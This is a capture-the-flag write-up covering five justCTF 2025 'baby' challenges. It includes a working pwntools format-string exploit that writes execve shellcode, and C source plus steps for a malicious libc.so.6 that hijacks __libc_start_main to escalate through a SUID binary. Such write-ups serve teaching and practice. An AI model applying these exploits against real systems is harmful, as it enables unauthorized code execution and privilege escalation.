- Published on
justCTF 2025 - Baby challenges
- Authors
- Name
- kerszi
Introduction
From August 2nd to 3rd (37h), the justCTF competition was organized by the justCatTheFish group. The CTF had a weight of 97.20, which is very high, so the challenges were quite difficult. Fortunately, the organizers were kind enough to include some easier tasks in the "baby" category. In reality, these weren't that easy and would be considered easy-medium on other CTFs, but they were still solvable. Our team managed to solve 5 out of 7 challenges. More information about this CTF can be found here.

Table of contents
shellcode printer

This was a pwn-type challenge. The program asked for a string with "Enter a format string:", and we provided one, ending the input with Enter. It seemed simple, but it wasn't. There was no visible feedback, but the idea was to overwrite a memory area with executable code. The tricky part was figuring out from which offset the memory writing started—usually it's 6, 7, 8, etc. After some trial and error, I found that it started from offset 6. So, we had to craft a payload like %{word}c%{offset}$hn
, which writes 2 bytes at a time, each representing instructions. At the end, we needed to use instructions to jump back to the beginning of the shellcode. Simple, right? ;) Very cool challenge.
Exploit steps
- Find the correct offset for the parameter to use (
%6$hn
in this binary). - Split the shellcode into 2-byte chunks.
- For each chunk, send a format string payload to write that value in turn.
- After the last payload, send a blank line — the program will execute the code at the current pointer.
Pseudo C from Ghidra
undefined8 FUN_0010130e(void)
{
int iVar1;
FILE *__stream;
char *pcVar2;
size_t sVar3;
undefined8 uVar4;
long in_FS_OFFSET;
code *local_40;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = getpagesize();
local_40 = (code *)mmap((void *)0x0,(long)iVar1,7,0x22,-1,0);
if (local_40 == (code *)0xffffffffffffffff) {
perror("mmap");
}
else {
__stream = fopen("/dev/null","w");
if (__stream == (FILE *)0x0) {
perror("fopen");
}
else {
*local_40 = (code)0xc3;
local_40 = local_40 + -2;
while( true ) {
local_28[0] = '\0';
local_28[1] = '\0';
local_28[2] = '\0';
local_28[3] = '\0';
local_28[4] = '\0';
local_28[5] = '\0';
local_28[6] = '\0';
local_28[7] = '\0';
local_28[8] = '\0';
local_28[9] = '\0';
local_28[10] = '\0';
local_28[0xb] = '\0';
local_28[0xc] = '\0';
local_28[0xd] = '\0';
local_28[0xe] = '\0';
local_28[0xf] = '\0';
printf("Enter a format string: ");
pcVar2 = fgets(local_28,0x10,stdin);
if (pcVar2 == (char *)0x0) break;
sVar3 = strcspn(local_28,"\n");
local_28[sVar3] = '\0';
if (local_28[0] == '\0') {
uVar4 = (*local_40)();
goto LAB_00101489;
}
local_40 = local_40 + 2;
fprintf(__stream,local_28);
}
perror("fgets");
}
fclose(__stream);
}
munmap(local_40,(long)iVar1);
uVar4 = 1;
LAB_00101489:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar4;
}
Solution
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc shellcode-printer.nc.jctf.pro 1337"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./shellcode_printer"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
offset = 6
shellcode=b'\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode += b'\xeb\xe2' #jump short -0x1e
chunks = [u16(shellcode[i:i+2]) for i in range(0, len(shellcode), 2)]
for word in chunks:
payload = f'%{word}c%{offset}$hn'
warn(f"Sending: {word} (0x{word:04x})")
p.sendlineafter(b'format string: ', payload.encode())
p.sendlineafter(b'format string: ', b'')
p.sendline(b'cat flag.txt')
p.interactive()
justCTF{l0w_0n_cy4n_pl34s3_r3f1ll}
Baby Audio

Writeup author: kerszi

011010100111010101110011011101000100001101010100010001100111101101010100011010000110010100101101011101000111001001100001011000110110101100101101011011100110000101101101011001010010110101101001011100110010110101000011011011110110110001100100011011100110010101110011011100110010110101100001011011100110010000101101011101000110100001100101001011010110000101110010011101000110100101110011011101000010110101101001011100110010110101010100011010000110010100101101010101110110000101101110011001000110010101110010011001010111001001111101
justCTF{The-track-name-is-Coldness-and-the-artist-is-The-Wanderer}
Baby SUID

Writeup author: kerszi
I spent quite some time on this challenge. The goal was to connect to a shell and obtain the flag by reading the /flag.txt
file. The SUID binary was located at /usr/bin/hello
. After many attempts, I realized that the solution involved preparing a custom libc.so.6
library and placing it in the same directory as the program. However, since there were no write permissions in /usr/bin/
, the best approach was to create a symbolic link, for example in /home/ctfplayer/
, and put the library there. The task actually had to be solved differently, so my solution was probably unintended. Below I describe exactly what steps I took.
Step 1: Setting up the Local Analysis Environment
First, set up a local environment that mirrors the target to analyze the binary and compile your exploit. Use the provided Dockerfile
and add common debugging and compilation tools (gcc
, gdb
, strace
, ltrace
).
Dockerfile:
FROM fedora:24
# Fix for old repositories by switching to the archives
RUN sed -i 's/metalink=/#metalink=/g' /etc/yum.repos.d/fedora.repo && \
sed -i 's/metalink=/#metalink=/g' /etc/yum.repos.d/fedora-updates.repo && \
sed -i 's/#baseurl=http:\/\/download.fedoraproject.org\/pub\/fedora\/linux/baseurl=http:\/\/archives.fedoraproject.org\/pub\/archive\/fedora/g' /etc/yum.repos.d/fedora.repo && \
sed -i 's/#baseurl=http:\/\/download.fedoraproject.org\/pub\/fedora\/linux/baseurl=http:\/\/archives.fedoraproject.org\/pub\/archive\/fedora/g' /etc/yum.repos.d/fedora-updates.repo && \
dnf -y update && \
dnf -y install gcc glibc-devel make kernel-headers libstdc++-devel strace ltrace gdb && \
dnf clean all
COPY hello /usr/bin/hello
COPY flag.txt /flag.txt
RUN useradd -m ctfplayer
WORKDIR /home/ctfplayer
USER ctfplayer
ENTRYPOINT ["/bin/sh"]
Build and run the container:
docker build -t baby-suid .
docker run --rm -it baby-suid
libc.so.6
Step 2: Crafting the Malicious Analysis with ltrace
and strace
reveals that the SUID binary dynamically links against libc.so.6
and calls printf
. Due to SUID protections, the dynamic linker (ld.so
) ignores environment variables like LD_LIBRARY_PATH
and will not load libraries from the current directory.
The exploit strategy is to create a custom libc.so.6
library that intercepts a critical function call. We will hijack __libc_start_main
, the function that initializes the C runtime and calls the program's main
function. This ensures our code runs before anything else.
#define NULL ((void*)0)
// A self-contained syscall wrapper to avoid any external dependencies.
static long my_syscall(long num, long arg1, long arg2, long arg3) {
long result;
// The syscall instruction is used to make direct kernel calls.
__asm__ volatile (
"syscall"
: "=a" (result)
: "a" (num), "D" (arg1), "S" (arg2), "d" (arg3)
: "rcx", "r11", "memory"
);
return result;
}
// Stub function to satisfy the linker for __cxa_finalize.
void __cxa_finalize(void *d) {}
// We hijack __libc_start_main, the real entry point of the program.
int __libc_start_main(int (*main)(int, char **, char **), int argc,
char **argv, void (*init)(void), void (*fini)(void),
void (*rtld_fini)(void), void *stack_end) {
char buffer[100];
// open("/flag.txt", O_RDONLY) -> syscall number 2
long fd = my_syscall(2, (long)"/flag.txt", 0, 0);
if (fd > 0) {
// read(fd, buffer, 99) -> syscall number 0
long bytes = my_syscall(0, fd, (long)buffer, 99);
if (bytes > 0) {
// write(stdout, buffer, bytes) -> syscall number 1
my_syscall(1, 1, (long)buffer, bytes);
}
// close(fd) -> syscall number 3
my_syscall(3, fd, 0, 0);
}
// Optionally, continue execution to the original main function.
if (main) return main(argc, argv, NULL);
return 0;
}
// Stub function to satisfy the linker for printf.
int printf(const char *format, ...) {
return 0;
}
Compile the code into a shared library:
gcc -shared -fPIC -o libc.so.6 exploit.c
Step 3: Delivering and Executing the Exploit
With the malicious libc.so.6
compiled, transfer it to the target machine and execute the exploit.
- Encode the library locally: Use base64 to transfer the binary file over a text-based shell.
cat libc.so.6 | base64 -w0 > libc.so.6.base64
- Decode on the target machine: Copy the base64 content and decode it back into a binary file in your home directory (
/home/ctfplayer
).
cat > libc.so.6.base64
"PASTE_BASE64_STRING_HERE" (ctrl+d)
cat libc.so.6.base64 | base64 -d > libc.so.6
- Execute the exploit: create symbolic link
ln -s /usr/bin/hello /home/ctfplayer/hello
- Run and we have the flag:
justCTF{Did-you-know-that-macOS-has-something-similar-its-called-@loader_path?}
Baby-goes-re

Writeup author: kerszi
This task was probably the easiest one. The program was written in Go, which is hard to decompile, but Binary Ninja does a pretty good job. The goal was to find a string and decode it. The main problem was copying the entire string that needed to be decoded. Ghidra didn't extract the whole thing, but Binary Ninja did it correctly. I could also extract the bytes directly from the binary, but since I already had everything copied, I didn't feel like rewriting the code.
Pseudo C fragment from Binary Ninja
0049e120 int64_t main.main(int64_t arg1, int64_t arg2,
0049e120 void* (** arg3)(int64_t arg1, int64_t arg2, void* arg3, void* arg4 @ r14) @ r14)
0049e124 if (&__return_addr u<= arg3[2])
0049e255 runtime.morestack_noctxt.abi0(arg1, arg2)
0049e255 noreturn
0049e255
0049e139 void* const var_20 = &data_4a8aa0
0049e145 void* const var_18 = &data_53c6c8
0049e14a os.Stdout
0049e165 fmt.Fprintln(1, 1, &data_53c6c8, &var_20, &go:itab.*os.File,io.Writer, arg3)
0049e171 int128_t* rax = runtime.newobject(&data_4a8aa0, arg3)
0049e182 void* const var_30 = &data_4a8aa0
0049e18e char const (** const var_28)[0x8b] = &data_53c6d8
0049e193 os.Stdout
0049e1ae fmt.Fprint(1, 1, &data_53c6d8, &var_30, &go:itab.*os.File,io.Writer, arg3)
0049e1ba int64_t* var_40 = &data_4a5b80
0049e1c4 int128_t* var_38 = rax
0049e1e4 int64_t rsi = fmt.Fscanln(1, 1, rax, &var_40, os.Stdin, arg3)
0049e1e4
0049e1f3 if (*(rax + 8) != 0x35)
0049e1f5 main.fail(arg3)
0049e1f5 noreturn
0049e1f5
0049e212 main.CheckFlag(0x52ae4, rsi, rax, "g9EPa:K5_C:BK[Dr*Z-).*y}Qn}_EA}O…", *rax,
0049e212 *(rax + 8), arg3)
0049e21e void* const var_50 = &data_4a8aa0
0049e22a char const (** const var_48)[0xf0] = &data_53c6e8
0049e22f os.Stdout
0049e254 return fmt.Fprint(1, 1, &data_53c6e8, &var_50, &go:itab.*os.File,io.Writer, arg3)
Solution
flag_length = 53 # długość flagi
# Ścieżka do pliku z zakodowanym dumpem pamięci
encoded_file = "encoded_dump.bin"
# Wczytanie wszystkich bajtów z pliku
with open(encoded_file, "rb") as f:
encoded_bytes = f.read()
r8 = 0
rsi = 0
result_bytes = []
for i in range(flag_length):
offset = r8 + rsi + 0x1337
if offset >= len(encoded_bytes):
print(f"Błąd: offset {offset} wykracza poza długość encoded_bytes ({len(encoded_bytes)})")
break
result_bytes.append(encoded_bytes[offset])
next_rsi = r8 + rsi + 0x1338
r8 += 0x33
rsi = next_rsi
flag = bytes(result_bytes).decode('ascii', errors='replace')
print("Odszyfrowana flaga:", flag)
justCTF{W3lc0m3_t0_R3v1NG!_Th4t_w45nt-s0-B4d-w45_1t?}
Otternaut Launch
This challenge was solved by our new player Xrne
.

/// the list of parameters that will be passed to the `solution::solve` function
const PARAMS_LIST: [(u8, u8); 6] = [(3,2), (3,0), (3,1), (1,0), (1,2), (1,1)
module solution::solution {
use challenge::otternaut_launch::{Self, LaunchCapsule, OtternautLab, LaunchInspectionLab, MicroWrench, AvionicsCalibrator, HullFrame};
public fun solve(
wrench: MicroWrench,
calibrator: AvionicsCalibrator,
frame: HullFrame,
capsule: &mut LaunchCapsule,
otternaut_lab: &OtternautLab,
inspection_lab: &LaunchInspectionLab
) {
let os = otternaut_launch::generate_flight_os(otternaut_lab, 42);
let boosters = otternaut_launch::build_boosters(otternaut_lab, 9);
otternaut_launch::assemble_launch_capsule(capsule, otternaut_lab, inspection_lab, wrench, calibrator, frame, boosters, os);
}
}
justCTF{l4unch_c4psule_4ssembled_su204essfully!}
Bonus
Optionally, add links to binaries or additional resources.
Download binaries.zip